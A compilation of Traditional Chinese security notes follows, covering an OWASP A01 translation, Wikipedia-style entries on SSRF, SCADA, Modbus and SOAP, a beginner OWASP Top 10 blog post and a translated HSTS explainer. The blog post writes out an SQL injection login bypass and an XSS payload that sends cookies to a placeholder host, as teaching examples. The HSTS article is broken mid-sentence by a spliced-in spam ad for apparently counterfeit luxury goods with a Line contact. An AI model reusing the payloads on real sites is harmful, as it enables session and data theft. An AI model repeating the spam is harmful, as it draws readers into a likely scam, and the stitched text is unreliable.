分類
Information Security

OWASP Top 10-A01:2021 – 權限控制失效

A01:2021 – 權限控制失效

對照因素

可對照 CWEs 數量最大發生率平均發生率最大覆蓋範圍平均覆蓋範圍平均加權弱點平均加權影響出現次數所有相關 CVEs 數量
3455.97%3.81%94.55%47.72%6.925.93318,48719,013

概述

從第五名晋升至第一名,94% 的應用程式都對中斷的存取控制進行了某種形式的測試。著名 的 CWE 包括 CWE-200:將敏感資訊暴露給未經授權的演員CWE-201:通過發送資料 和 CWE-352暴露敏感資訊:跨站請求偽造

描述

存取控制強化政策,使得用戶不能採取在預期權限之外的行動。故障通常會導致未經授權 的資訊洩露、修改或破壞所有資料,或執行超出用戶限制的業務功能。 常見的存取控制弱點包括:

  • 通過修改URL、內部應用程式狀態或HTML頁面,或僅使用自定義API攻擊工具來繞過存取控制檢查。
  • 容許主鍵被更改為其他用戶的記錄,允許查看或編輯其他人的帳戶。
  • 特權提升。未登入即成為用戶,或以用戶身份登入即成為管理員。
  • 中繼資料操作,例如重放或篡改JSON網站令牌(JWT)之存取控制令牌,或被操縱以提升特權或濫用 JWT失效的cookie或隱藏欄位。
  • CORS錯誤配置允許未經授權的API存取。
  • 以未經身份驗證的用戶身份強制瀏覽已驗證的頁面或以標準用戶身份存取特權頁面。 存取缺少存取控制的API以進行POST、PUT 和 DELETE操作。

如何預防

存取控制僅在受信任的伺服器端代碼或無伺服器的API有效果,攻擊者無法修改這裏的存取控制檢查或中繼資料。

  • 除公開資源外,以拒絕為預設值。
  • 一次性地建置存取控制機制,之後在整個應用程式中重複使用它們,包括最大限度地減少使用CORS。
  • 模型的存取控制措施應該強化記錄所有權,而不是讓用戶可以創建、讀取、更新或刪除任何記錄。
  • 獨特的應用程式業務限制要求應由領域模型予以強化。
  • 停用Web伺服器目錄列表,並確保檔案中繼資料(例如,.git)和備份檔案不在web根目錄中。
  • 記錄存取控制失效,並在適當的時間警示管理員(例如,重覆性失效)。
  • 對API和控制器存取進行流量限制,以最小化自動攻擊工具所帶來的損害。
  • JWT令牌於登出後,在伺服器端應使其失效。

開發人員和QA品保人員應納入與功能有關之存取控制的單元和整合測試。

攻擊情境範例

情境 #1: 應用程式在存取帳戶資訊的SQL呼叫中使用未經驗證的資料:

pstmt.setString(1, request.getParameter(“acct”));

ResultSet results = pstmt.executeQuery( );

攻擊者只需修改瀏覽器的“acct”參數即可發送他們想要的任何帳號。如果沒有正確驗證, 攻擊者可以存取任何用戶的帳戶。

https://example.com/app/accountInfo?acct=notmyacct

情境#2: 攻擊者僅強迫瀏覽某些目標網址。存取管理頁面需要管理員權限。

https://example.com/app/getappInfo

https://example.com/app/admin_getappInfo

如果未經身份驗證的用戶可以存取任一頁面,那就是一個缺陷。 如果一個非管理員可以存取管理頁面,這也是一個缺陷。

參考

對應的CWE列表

CWE-22 不當限制受限目錄的路徑名稱(路徑遍訪)

CWE-23 相對路徑遍訪

CWE-35 路徑遍訪: ‘…/…//’

CWE-59 檔案存取前不當的路徑解析 (‘連結指向’)

CWE-200 將敏感資訊曝露給未經授權的行為者

CWE-201 經由發送的資料曝露敏感資訊

CWE-219 在網站根目錄下存放敏感資料

CWE-264 權限、特權和存取控制(不應再使用)

CWE-275 權限問題

CWE-276 不正確的預設權限

CWE-284 不當的存取控制

CWE-285 不當的授權

CWE-352 跨站請求偽造 (CSRF)

CWE-359 將私有的個人資訊曝露給未經授權的行為者

CWE-377 不安全的暫存檔案

CWE-402 私有資源輸入新領域(“資源洩漏”)

CWE-425 直接請求(“強制瀏覽”)

CWE-441 意外代理或中介(“困惑的代理”)

CWE-497 將敏感系統資訊曝露給未經授權的控制領域

CWE-538 將敏感資訊插入外部可存取的檔案或目錄

CWE-540 原始程式中包含敏感資訊

CWE-548 透過列示目錄而曝露資訊

CWE-552 外部各方可存取的檔案或目錄

CWE-566 通過用戶控制的 SQL 主鍵繞過授權

CWE-601 URL重新導向至不受信任的站台(“開放而不受限的重新導向”)

CWE-639 通過用戶控制的金鑰繞過授權

CWE-651 曝露包含敏感資訊的WSDL檔案

CWE-668 資源曝露於錯誤領域

CWE-706 使用被不正確解析的名稱或參考

CWE-862 缺少授權

CWE-863 不正確的授權

CWE-913 不當的動態管理的代碼資源控制

CWE-922 不安全儲存的敏感資訊

CWE-1275 具有不當SameSite屬性設定的敏感Cookie

資料來源:https://github.com/ninedter/Top10/blob/2021-zhtw/2021/docs/A01_2021-Broken_Access_Control.zh_TW.md

分類
Information Security

伺服器端請求偽造

在電腦安全中,伺服器端請求偽造(英語:Server-side Request Forgery,簡稱SSRF)是攻擊者濫用伺服器功能來存取或操作無法被直接存取的資訊的方式之一。[1]

伺服器端請求偽造攻擊將域中的不安全伺服器作為代理使用,這與利用網頁客戶端跨站請求偽造攻擊類似(如處在域中的瀏覽器可作為攻擊者的代理)。

資料來源:https://zh.wikipedia.org/wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0

分類
Information Security

數位資產(digital asset)

數位資產(英語:digital asset)是經過二進位編碼的任何被授權使用的文字媒體資源,包括文字內容、圖片多媒體

數位資產包括網站及其內容、域名應用軟體代碼、電子文件、圖片內容、媒體內容、電子貨幣電子郵件、遊戲帳號、帳號及其內容、社群網路帳戶及其關係和內容、雲端服務帳戶及其資料等。從經濟學角度來說,數位資產是企業擁有或控制的,以資料形態存在的,在日常活動中生產、經營或持有待售的可變資產,數位資產屬於網路財產。

資料來源:https://zh.wikipedia.org/wiki/%E6%95%B0%E5%AD%97%E8%B5%84%E4%BA%A7

分類
Information Security

資料採集與監視系統(SCADA)

資料採集與監視系統(英語:supervisory control and data acquisition,縮寫為SCADA)一般是有監控程式及資料收集能力的電腦控制系統。可以用在工業程式、基礎設施或是裝置中。

系統的組成元素[編輯]

SCADA系統會包括以下的子系統:

  • 人機介面(human machine interface,縮寫為HMI)是一個可以顯示程式狀態的裝置,操作員可以依此裝置監控及控制程式。
  • (電腦)監視系統可以採集數據,也可以送出命令監視程式的進行。
  • 遠端終端控制系統(縮寫為RTU)連接許多程式中用到的感測器資料採集後將數位的資料傳送給監視系統。
  • 可程式化邏輯控制器(programmable logic controller,縮寫為PLC)因為其價格便宜,用途廣泛,也常用作現場裝置,取代特殊功能的遠端終端控制系統(RTU)。
  • 通訊網路則是提供監視系統及RTU(或PLC)之間傳輸資料的管道。

系統概念[編輯]

SCADA一詞是指一個可以監控及控制所有裝置的集中式系統,或是在由分散在一個區域(小到一個工廠,大到一個國家)中許多系統的組合。其中大部份的控制是由遠端終端控制系統(RTU)或PLC進行,主系統一般只作系統監控層級的控制。例如在一個系統中,由PLC來控制製程中冷卻水的流量,而SCADA系統可以讓操作員改變流量的目標值,設定需顯示及記錄的警告條件(例如流量過低,溫度過高)。PLC或RTU會利用回授控制來控制流量或溫度,而SCADA則監控系統的整體效能。

SCADA schematic overview-s.svg

資料採集由RTU或PLC進行,包括讀取感測器資料,依SCADA需求通訊傳送裝置的狀態報告。資料有特定的格式,控制室中的操作員可以用HMI了解系統狀態,並決定是否要調整RTU(或PLC)的控制,或是暫停正常的控制,進行特殊的處理。資料也會傳送到歷史記錄器,一般會是架構在商用的資料庫管理系統上,以便追蹤趨勢並進行分析。

SCADA系統會配合分散式資料庫使用,一般稱為標籤資料庫(tag database),其中的資料元素稱為標籤(tag)或點(point)。一個點表示一個單一的輸入或輸出值,可能是由系統所監視或是控制。點可以是硬體(hard)的或是軟體(soft)的。一個硬體的點表示系統中實際的輸入或是輸出,而軟體的點則是根據其他點進行數學運算或邏輯運算後的結果(有些系統會把所有的點都視為軟體的點,無視其實際上是硬體或軟體)。一個點通常都是會以資料-時間戳記對的方式儲存,其中有資料,以及資料計算或記錄時的時間戳記。一個點的歷史記錄即可以用一連串的資料-時間戳記對所表示。常常也會在儲存時加上其他的資訊,例如現場裝置或PLC暫存器的路徑,設計的註解及警告資訊。

資料來源:https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86%E4%B8%8E%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F

分類
Information Security

Modbus

Modbus是一種串行通信協定,是Modicon公司(現在的施耐德電氣 Schneider Electric)於1979年為使用可程式化邏輯控制器(PLC)通信而發表。Modbus已經成為工業領域通信協定事實上的業界標準,並且現在是工業電子裝置之間常用的連接方式。[1] Modbus比其他通信協定使用的更廣泛的主要原因有:

  1. 公開發表並且無著作權要求
  2. 易於部署和維護
  3. 對供應商來說,修改移動原生的位元或位元組沒有很多限制

Modbus允許多個 (大約240個) 裝置連接在同一個網路上進行通信,舉個例子,一個由測量溫度和濕度的裝置,並且將結果傳送給電腦。在資料採集與監視控制系統(SCADA)中,Modbus通常用來連接監視電腦和遠端終端控制系統(RTU)。

資料來源:https://zh.wikipedia.org/wiki/Modbus

分類
Information Security

簡單物件存取協定SOAP

SOAP(原為Simple Object Access Protocol首字母縮寫,即簡單物件存取協定)是交換資料的一種協定規範,使用在電腦網路Web服務(web service)中,交換帶結構的資訊。SOAP為了簡化網頁伺服器(Web Server)從XML資料庫中提取資料時,節省去格式化頁面時間,以及不同應用程式之間按照HTTP通信協定,遵從XML格式執行資料互換,使其抽象於語言實現、平台和硬體。此標準由IBMMicrosoftUserLandDevelopMentor在1998年共同提出,並得到IBM、蓮花(Lotus)、康柏(Compaq)等公司的支援,於2000年提交給全球資訊網聯盟World Wide Web Consortium,W3C),目前SOAP 1.1版是業界共同的標準,屬於第二代的XML協定(第一代具主要代表性的技術為XML-RPC以及WDDX)。

用一個簡單的例子來說明SOAP使用過程,一個SOAP訊息可以傳送到一個具有Web Service功能的Web站點,例如,一個含有房價資訊的資料庫,訊息的參數中標明這是一個查詢訊息,此站點將返回一個XML格式的資訊,其中包含了查詢結果(價格,位置,特點,或者其他資訊)。由於資料是用一種標準化的可分析的結構來傳遞的,所以可以直接被第三方站點所利用。

資料來源:https://zh.wikipedia.org/wiki/%E7%AE%80%E5%8D%95%E5%AF%B9%E8%B1%A1%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE

分類
CISSP Information Security

幼幼班也能懂的 OWASP TOP 10

🔖 文章索引1. A1 注入攻擊, A2 無效身分認證
2.
A3 敏感資料外洩, A4 XML外部處理器漏洞
3. A5 無效的存取控管, A6 不安全的組態設定
4. A7 跨站攻擊
5. A8 不安全的反序列化漏洞, A9 使用已有漏洞的元件, A10 紀錄與監控不足風險

指標性機構 OWASP (Open Web Application Security Project) 收集各種網頁安全漏洞,核心精神是

Be the thriving global community that drives visibility and evolution in the safety and security of the world’s software.

簡單的說就是推動世界軟體的安全性。OWASP 也歸納出容易攻擊的弱點並彙整為十大資安問題、排名、防範措施。

因為我是前端工程師,所以這一篇並不會詳細解釋程式碼如何攻擊(例如 SQL 或 PHP 指令),而是著重用自己擅長的簡單圖文解釋,希望讓跟我一樣對資安才剛入門的讀者不要排斥這個看似又深又廣又難的領域。

另外很推 經典駭客攻擊教程:給每個人的網站安全入門 的課,裡面舉的例子都很平易近人(例如用雍正竄改康熙遺詔解釋 injection,整個讓人一秒就懂)。自己也是參考他很多例子另外再畫出來的。

A1 Injection 注入攻擊

偷偷串改造成語意改變就是 Injection,就像傳說中雍正串改康熙的遺詔

SQL Injection 就是駭客透過修改 SQL 來改變他原本語意,達到竊取資料/破壞資料的行為。

以登入這個簡單例子來說,若程式邏輯是只要輸入框滿足條件 (等於 true) 就可以拿到使用者資料,那駭客就算不需要知道使用者真實密碼也可以藉由 SQL Injection 輕易拿到使用者資料

SELECT user_data FROM user_table
WHERE user_name = 'hannah'
AND paswword = 'xx' or 1=1 --'

A2 Broken Authentication 無效身分認證

Cookie 就像一張通行證,通行證裡面會存有一組 Session ID 來驗證你身份,就像你加入某某俱樂部一樣,認卡不認人,誰擁有這張通行證就可以進入俱樂部。

網站登入時的身分認證有缺陷,導致駭客能竊取相關登入資訊

最容易理解的例子就是你在公共電腦登入之後忘記登出就離開電腦,駭客直接取用你的登入資訊 (拿走你的通行證)

另外透過錯誤使用身份認證和會話(Session)管理功能,攻擊者能夠破解密碼或竊取 Session Token,或者利用其它開發漏洞來暫時性或永久性冒充其他用戶的身份。

一般來說 Server 會創立 Session,儲存 Session ID,並回傳 cookie 給瀏覽器。若使用者登入時的 session ID (通行證) 跟 Server 的 session ID 相同就可以成功登入
用 http 連線而不是 https,或是用免費 wifi 讓駭客從中竊取
透過 XSS 盜用 cookie

Session 處理流程的最佳實踐有下列幾點

  • 確保用 HTTPS 連線,避免封包被監聽導致密碼外洩
  • Client 端的 validation 都是無用的,因為使用者可以透過開發者工具改變,所以 Server 端一定要再做一次驗證
  • 確保程式碼沒有 SQL Injection 漏洞
  • 確保 cookie 設定為 HttpOnly (無法被 JavaScript 存取) 且 Session ID 應為不可被預測的
  • Session ID 不應該是固定不變且需要有時效性

A3 Sensitive Data Exposure 敏感資料外洩

敏感資料保護度不足,使得駭客入侵系統後輕易竊取達成詐欺冒用等犯罪行為

什麼是敏感資料? 只要是不能公開的資料,就是敏感資料。例如你的信用卡資料、醫療紀錄、個人資訊等等

駭客可以用任何攻擊手法 XSS、SQL Injection、甚至只是在旁便等著你沒登出的電腦來讓敏感資料外洩

防護建議

  • 使用 SSL 加密連線進行資料傳輸
  • 以加密、雜湊(hash)等方式保存敏感資料,例如帳號密碼
  • 檢查系統防火牆規則設定,限制所需的連接埠,定期查看內部是否有對外大量不同目的 IP 之異常連線,與帳號活動。

A4 XML External Entity, XML 外部處理器漏洞

以 XML為基礎的網路應用程式沒有做好相關權限保護而造成機敏資料外洩的風險

沒有禁止解析外部實體的狀況下就會獲得右邊顯示內容

[延伸閱讀] What Are XML External Entity (XXE) Attacks

A5 Broken Access Control 無效的存取控管

駭客利用這些漏洞去存取沒有經過授權的功能或察看敏感資料、修改使用者數據、更改訪問權限等

可以藉由改變路徑去存取不應該可以看到的資料

前端可以做得事: 僅打開面向外部網路的HTTP/HTTPS,不要連設定檔或其他檔都能讓駭客存取

A6 Security Misconfiguration 不安全的組態設定

系統管理或配置不當所造成的安全性漏洞。

這項有點廣,例如系統預設帳密未更、錯誤的配置HTTP標頭、偵錯模式(Debug)未關閉,導致錯誤訊息中包含的敏感性個資外流都包含在內

最簡單的舉例就是你在 github 忘記用 .gitignore 讓一些敏感資料例如資料庫存取密碼外流。或是管理 Google Drive 時分享變成所有人都可以檢視導致一些敏感文件外流

A7 XSS (Cross-Site Scripting) 跨站攻擊

當網站沒有做好的驗證,就可以讓駭客輕易輸入惡意程式碼在網站上,就像埋下一個地雷,讓點擊到該網站的其他使用者受到攻擊

Cross-Site Scripting 主要是利用在輸入欄位輸入 JS 的 script tag 來造成攻擊 又可以分為三種常見類型:

  • Reflected
  • Persistent
  • DOM Based

Reflected

利用網址輸入欄來執行惡意程式碼,因為輸入當下馬上被執行所以稱為 Reflected XXS

在網址列輸入惡意程式碼

以上圖為例,駭客可以在網址列裡的 query 輸入一些 script

http://www.shop.com/search?query=<script>document.location='http://xx?c='+document.cookie;</script>

藉由獲取的 document.cookie 登入使用者帳戶,然後拿信用卡盜刷或作任何他想做的事情

Reflected XSS

Persistent/Stored XSS

同樣也是網站埋地雷,當使用者連到該網站便會遭受攻擊。不同的是惡意程式碼是被存到網站資料庫裡而不像 Reflected 是當下被輸入的

在資料庫埋惡意程式碼

Hacker 先在留言區留一段惡意程式碼然後送出後存到資料庫中,因為程式碼時直接可以顯示資料庫的留言所以也會把這一段惡意程式碼也顯示給使用者,讓駭客可以存取受害使用者資料。因為存到資料庫是永久的所以才叫 Persistent XSS

Persistent/Stored XSS

DOM Based XSS

DOM Based XSS 跟 Reflect 非常像,唯一不同是 DOM Based 惡意程式碼沒有到 server 端被執行而是直接在 client 端就被執行

DOM Based XSS

當應用程式缺乏適當的驗證,如允許網頁可出現不可信任的資訊時,或者是允許在使用者瀏覽器中執行腳本程式,恐導致有心人士劫持使用者Session、網頁置換或者是轉址到其他惡意網站等。

我可以做得事: 下次看網站請檢查一下

  • 可疑網址列 query
  • 看到可疑表單,叫你重打帳密偷取資料
  • 或是可以被轉址的網址 g00gle.com 都要小心

A8 Insecure Deserialization 不安全的反序列化漏洞

不安全的反序列化漏洞主要是鎖定 Java、PHP 或 Node.js 等常見的平臺。

反序列化漏洞是唯一一個 TOP 10 中我真的無法理解的 vulnerbility,有看到一個日常解釋就是說像使用者將 110V 的電器插入 220V 的插座中,看起來是一樣的插座孔,不過使用者並不知道插座的伏特數是多少,直到插座與電器通電、電器燒壞後才發現伏特數不合拍

A9 Using Components with Known Vulnerabilities 使用已有漏洞的元件

Open source 風氣在這幾年非常盛行,為達到快速產出,工程師們也很習慣直接使用這些元件 (元件包括函示庫、框架以及其他的軟體模組)。但在選擇使用何種 Open source 時,會以好不好用為優先而忽略潛在的資安漏洞。

如果有一個容易受到攻擊的元件被駭客利用,就會導致使用這些元件的系統也有可能被駭客侵入。

A10 Insufficient Logging & Monitoring 紀錄與監控不足風險

大部分的攻擊都是有跡可循的,例如來自特定來源的失敗登錄嘗試太多或在沒有預期的情況下出現高峰流量等等。不要等發生事情才來處理,應該要平常就做好監控,系統出現可疑行為就要趕快處理

資料來源:https://medium.com/starbugs/%E5%B9%BC%E5%B9%BC%E7%8F%AD%E4%B9%9F%E8%83%BD%E6%87%82%E7%9A%84-owasp-top-10-692764c51f61

分類
Information Security

HTTP強制安全傳輸技術

HTTP嚴格傳輸安全英語:HTTP Strict Transport Security,縮寫:HSTS)是一套由網際網路工程任務組發布的網際網路安全策略機制。網站可以選擇使用HSTS策略,來讓瀏覽器強制使用HTTPS與網站進行通信,以減少連線劫持風險。

資料來源:https://zh.wikipedia.org/wiki/HTTP%E4%B8%A5%E6%A0%BC%E4%BC%A0%E8%BE%93%E5%AE%89%E5%85%A8

分類
Information Security

什麼是HSTS,為什麼要使用它?

翻譯自: What Is HSTS and Why Should I Use It?

作者: Tomasz Andrzej Nidecki ,一位非常專業的 Technical Content Writer ,目前是 Acunetix 的技術內容撰寫人,他是一名擁有 25 年 IT 經驗的記者、翻譯和技術撰稿人,Tomasz 早年曾擔任《 hakin9 IT Security 》雜誌的總編輯,並曾經運營過一個專門針對電子郵件安全的主要技術部落格。

HSTS 是 HTTP 嚴格傳輸安全(HTTP Strict Transport Security) 的縮寫。 這是一種網站用來宣告他們只能使用安全連線(HTTPS)訪問的方法。 如果一個網站聲明瞭 HSTS 策略,瀏覽器必須拒絕所有的 HTTP 連線並阻止使用者接受不安全的 SSL 證書。 目前大多數主流瀏覽器都支援 HSTS (只有一些移動瀏覽器無法使用它)。

在 2012 年的 RFC 6797 中,HTTP嚴格傳輸安全被定義為網路安全標準。 建立這個標準的主要目的,是為了避免使用者遭受使用 SSL stripping(剝離) 的 中間人攻擊(man-in-The-middle,MITM) 。 SSL stripping 是一種攻擊者強迫瀏覽器使用 HTTP 協議連線到站點的技術,這樣他們就可以嗅探資料包,攔截或修改敏感資訊。 另外,HSTS 也是一個很好的保護自己免受 cookie 劫持(cookie hijacking)的方法。

HSTS 工作原理

通常,當您在 Web 瀏覽器中輸入 URL 時,您會跳過協議部分。 例如,你輸入的是 www.acunetix.com ,而不是 http://www.acunetix.com 。 在這種情況下,瀏覽器假設你想使用 HTTP 協議,所以它在這個階段發出一個 HTTP 請求 到 www.acunetix.com ,同時,Web Server 會返回 301 狀態碼將請求重定向到 HTTPS 站點。 接下來瀏覽器使用 HTTPS 連線到 www.acunetix.com 。 這時 HSTS 安全策略保護開始使用 HTTP 響應頭:批踢踢實業坊推薦Line: k98888
有各大電商平臺都買不到的好貨哦!
產品均是國際頂級品牌,有包包、名表、衣服、鞋子、皮帶、飾品、眼鏡、圍巾等等。
長期供應(LV)(古奇)(愛馬仕)(香奈兒)(普拉達)(迪奧)(百達翡麗)(江詩丹唐)(卡地亞)(勞力士)(歐米茄)等世界名品。
支持貨到付款,收到貨後再付款,購物零風險。
批踢踢實業坊推薦Line: k98888

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

響應頭的 Strict-Transport-Security 給瀏覽器提供了詳細的說明。 從現在開始,每個連線到該網站及其子域的下一年(31536000秒)從這個頭被接收的時刻起必須是一個 HTTPS 連線。 HTTP 連線是完全不允許的。 如果瀏覽器接收到使用 HTTP 載入資源的請求,則必須嘗試使用 HTTPS 請求替代。 如果 HTTPS 不可用,則必須直接終止連線 。

此外,如果證書無效,將阻止你建立連線。 通常來說,如果 HTTPS 證書無效(如:過期、自簽名、由未知 CA 簽名等),瀏覽器會顯示一個可以規避的警告。 但是,如果站點有 HSTS,瀏覽器就不會讓你繞過警告。 若要訪問該站點,必須從瀏覽器內的 HSTS 列表中刪除該站點 。

響應頭的 Strict-Transport-Security 是針對一個特定的網站傳送的,並且覆蓋一個特定的域名(domain)。 因此,如果你有 HSTS 的 www.acunetix.com ,它不會覆蓋 acunetix. com ,而只覆蓋 www 子域名。 這就是為什麼,為了完全的保護,你的網站應該包含一個對 base domain 的呼叫(在本例中是 acunetix. com) ,並且接收該域名的 Strict-Transport-Security 頭和 includeSubDomains 指令。

HSTS 是否完全安全?

不幸的是,你第一次訪問這個網站,你不受 HSTS 的保護。 如果網站向 HTTP 連線新增 HSTS 頭,則該報頭將被忽略。 這是因為攻擊者可以在中間人攻擊(man-in-the-middle attack)中刪除或新增頭部。 HSTS 報頭不可信,除非它是通過 HTTPS 傳遞的。

你還應該知道,每次您的瀏覽器讀取 header 時,HSTS max-age 都會重新整理,最大值為兩年。 這意味著保護是永久性的,只要兩次訪問之間不超過兩年。 如果你兩年沒有訪問一個網站,它會被視為一個新網站。 與此同時,如果你提供 max-age 0 的 HSTS header,瀏覽器將在下一次連線嘗試時將該站點視為一個新站點(這對測試非常有用)。

你可以使用稱為 HSTS 預載入列表(HSTS preload list)的附加保護方法。 Chromium 專案維護一個使用 HSTS 的網站列表,該列表通過瀏覽器釋出 。 如果你把你的網站新增到預載入列表中,瀏覽器會首先檢查內部列表,這樣你的網站就永遠不會通過 HTTP 訪問,甚至在第一次連線嘗試時也不會。 這個方法不是 HSTS 標準的一部分,但是它被所有主流瀏覽器(Chrome、 Firefox、 Safari、 Opera、 IE11 和 Edge)使用。

目前唯一可用於繞過 HSTS 的已知方法是基於 NTP 的攻擊。 如果客戶端計算機容易受到 NTP 攻擊( NTP-based attack) ,它可能會被欺騙,使 HSTS 策略到期,並使用 HTTP 訪問站點一次。

如何將域名新增到 HSTS 預載入列表?

要將域新增到 HSTS 預載入列表,該域的站點必須滿足幾個要求。 以下是新增域名所需的步驟:

  1. 確保你的網站擁有有效的證書和最新的密碼
  2. 如果你的網站可以通過 HTTP 訪問,請將所有請求重定向到 HTTPS
  3. 確保以上第 1 點和第 2 點適用於你的所有域名和子域名(根據您的 DNS 記錄)
  4. 通過 HTTPS 服務返回 Strict-Transport-Security header ,帶上 base domain 和 max-age , max-age 至少為31536000 (1 年),另外還有 includeSubDomains 指令和 preload 指令。 可以參考上面的 HSTS header。
  5. 訪問 hstspreload.org ,並使用表格提交你的域名。如果符合條件,您的域名將被加入佇列。

為了提高安全性,瀏覽器不能訪問或下載 預載入列表(preload list)。 它作為硬編碼資源(hard-coded resource)和新的瀏覽器版本一起分發。 這意味著結果出現在列表中需要相當長的時間,而域從列表中刪除也需要相當長的時間。 如果你希望將你的站點新增到列表中,則必須確保您能夠在較長時間內保持對所有資源的完全 HTTPS 訪問。 如果不這樣做,你的網站可能會完全無法訪問 。

如何從瀏覽器的 HSTS 快取中刪除域?

在設定 HSTS 並測試它時,可能需要清除瀏覽器中的 HSTS 快取。 如果你設定 HSTS 不正確,你可能會訪問網站出錯,除非你清除資料。 下面是幾種常用瀏覽器的方法。 還要注意,如果你的域在 HSTS 預載入列表中,清除 HSTS 快取將是無效的,並且無法強制進行 HTTP 連線。

要從 Chrome HSTS 快取中刪除一個域名,請按照以下步驟操作:

chrome://net-internals/#hsts
Delete domain security policies

之後,你可以檢查移除是否成功:

Query HSTS/PKP domain

Mozilla Firefox 、Safari 和 Microsoft Edge 自行檢視原文吧。

資料來源:https://www.gushiciku.cn/pl/pHGF/zh-tw

分類
Information Security

SSL VPN vs VDI

Desktop一般指作業系統的呈現層(使用者介面). Desktop虛擬化可分為遠端(remote)及本地(local)。遠端的Desktop虛擬化的技術有二種: 以VM為基礎(常被稱為VDI)以及與Session為基礎. 這二種方式都可以提供完整的Desktop體驗. 微軟的RDS(Remote Destktop Services)這二種方式都支援. 簡單的說, 遠端桌面的服務可用VM實現(VDI),也可用終端機方式實現(類似傳統的大型電腦). 另外, 本地的Desktop虛擬化大家最熟悉, 就是使用VMWare Workstation或VirtualBox在Windows上裝Linux。

VPN是指利用現有網路建立一個點對點(point-to-point)的虛擬連結(link), 這個虛擬連結專業說法叫作tunnel。L2F,PPTP,L2TP都是傳統建立tunnel的協定(不含加密). 在PPTP通道上傳輸的資料, 最常用微軟的MPPE來加密, 而L2TP則是使用IPsec來作加密. SSL VPN則是使用SSL/TLS來建立通道(client-to-site only)以及作加密,並具有使用browser即可連線及存取資源的方便性。

VDI主要提供使用者桌面服務(可以開放以public IP連線,但較不安全)。SSL VPN只是多加了一層網路存取控制, 也就是從遠端要使用VDI時多作了VPN連線的身份驗證、路由控制及安全傳輸等.